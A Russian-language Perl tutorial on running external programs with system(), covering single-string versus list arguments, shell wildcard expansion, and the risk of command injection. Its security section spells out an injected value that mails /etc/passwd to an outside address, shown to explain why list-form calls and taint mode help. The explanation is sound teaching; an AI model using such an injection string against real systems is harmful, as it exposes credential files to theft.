Зачастую Perl используют как обертку вокруг других программ. Другими словами, мы запускаем внешние программы из нашей Perl-программы.

Наприем, мы используем Perl, чтобы собрать нужные параметры, так что нам будет проще написать нужную команду для запуска другой программы в командной строке.

Или нам может понядобиться собрать вывод в командной строке другой программы, и затем принять какие-то решения, основываясь на этом выводе.

Perl дает нам много разных решений для этого. Мы рассмотрим некоторые из них.

system

По-видимому самое простое из них - функция system. В самом базовом виде она принимает текст, который надо написать в командной строке, чтобы выполнить внешнюю команду.

Например, на машинах с Unix/Linux существует команда «adduser», которая создает пользовательский аккаунт. Ее можно запустить так:

/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo

Так что, если нам надо выполнить ее из скрипта perl, это можно сделать так:

  system('/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo');

Такой код запустит команду adduser. Любой вывод или ошибки, которые выдаст adduser, появятся на вашем экране.

Строку для выполнения можно сформировать динамически. Следующие примеры дадут тот же результат:

  my $cmd = '/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo';
  system($cmd);

  my $cmd = '/usr/sbin/adduser';
  $cmd .= ' --home /opt/bfoo';
  $cmd .= ' --gecos "Foo Bar" bfoo';
  system($cmd);

system с несколькими аргументами

Функция system может принимать больше одного аргумента. Пример выше можно было выполнить так:

  my @cmd = ('/usr/sbin/adduser');
  push @cmd, '--home';
  push @cmd, '/opt/bfoo';
  push @cmd, '--gecos',
  push @cmd, 'Foo Bar',
  push @cmd, 'bfoo';
  system(@cmd);

В данном случае все показанные примеры работают одинаково, но в жизни эти подходы могут применяться для разных целей.

Расширение оболочки

Предположим, у нас есть программа checkfiles, которая проверяет список файлов, переданный ей в командной строке. Ее можно вызвать так: checkfiles data1.txt data2.txt или так: checkfiles data*.txt, чтобы проверить все файлы, название которых начинается с «data», затем идут какие-то другие символы, и затем расширение «txt». Этот второй способ будет работать в системах Unix/Linux, где оболочка расширяет «data*.txt» до списка всех файлов, которые подходят под это описание. Когда программа checkfiles выполняется, она уже видит список файлов: checkfiles data1.txt data2.txt data42.txt database.txt. Но не так это работает в Windows, где командная строка не делает этого расширения. В Windows программа получит на вход «data*.txt».

Причем тут наш скрипт Perl, спросите вы?

В Windows это не важно. Однако, в Unix/Linux, если вы запустите программу «checkfiles» изнутри скрипта Perl одной строкой system("checkfiles data*.txt"), Perl передаст эту строку оболочке. Оболочка выполнит свое расширение и программа «checkfiles» увидит список файлов. С другой стороны, если вы передадите саму команду и ее параметры в отдельных строках: system("checkfiles", "data*.txt"), то perl запустит непосредственно программу «checkfiles» и передаст ей один параметр «data*.txt», не проводя расширения.

Как вы можете видеть, передача всей команды целиком в одной строке имеет свои преимущества.

Однако, эти преимущества не достаются бесплатно.

Риск безопасности

Вызов system с единственным параметром и передача всей команды таким способом может быть угрозой безопасности, если вводимые данные поступают из непроверенных источников. Например, прямо из веб-формы. Или из лог-файла, созданного веб-сервером.

Предположим, мы получаем параметры для checkfiles из сомнительного источника:

  my $param = get_from_a_web_form();
  my $cmd = "checkfiles $param";
  system($cmd);

Если пользователь ввел в форме «data*.txt», то все в порядке. Переменная $cmd получит значение checkfile data*.txt.

С другой стороны, если пользователь подставит другие, более «хитрые» параметры, это может вызвать неприятности. Например, если пользователь напишет data*.txt; mail blackhat@perlmaven.com < /etc/passwd, то команда, которую запустит perl, будет такой: checkfile data*.txt; mail darkside@perlmaven.com < /etc/passwd.

Оболочка сначала выполнит команду «checkfile data*.txt», как нам и нужно, но затем она пойдет дальше, и выполнит команду «mail...». В результате ваш файл с паролями отправится прямиком на темную сторону.

Если бы наш скрипт Perl вызывал system с несколькими параметрами, мы бы избежали этого риска. Если наш код такой:

  my $param = get_from_a_web_form();
  my @cmd = ("checkfiles", $param);
  system(@cmd);

И пользователь вводит data*.txt; mail blackhat@perlmaven.com < /etc/passwd, то Perl запустит программу «checkfiles» и передаст ей один аргумент: data*.txt; mail blackhat@perlmaven.com < /etc/passwd. Расширения оболочки не будет, но мы также избежим ее опасностей. Команда «checkfiles», возможно, пожалуется, что не может найти файл data*.txt; mail blackhat@perlmaven.com < /etc/passwd, но во всяком случае наши пароли в безопасности.

Заключение и рекомендации к дальнейшему чтению

Более распространенный подход - собрать одну строку и передать ее функции system, но, если входные данные поступают из сомнительного источника, это легко может стать направлением атаки. Риск можно сократить, если сопоставлять входные данные с белым списком допутимых символов. Вы можете заставить себя всегда думать об этом, включив taint mode с помощью флага -T в инициализирующей строке (sh-bang) вашего скрипта.

Вы можете узнать больше из официальной документации по system.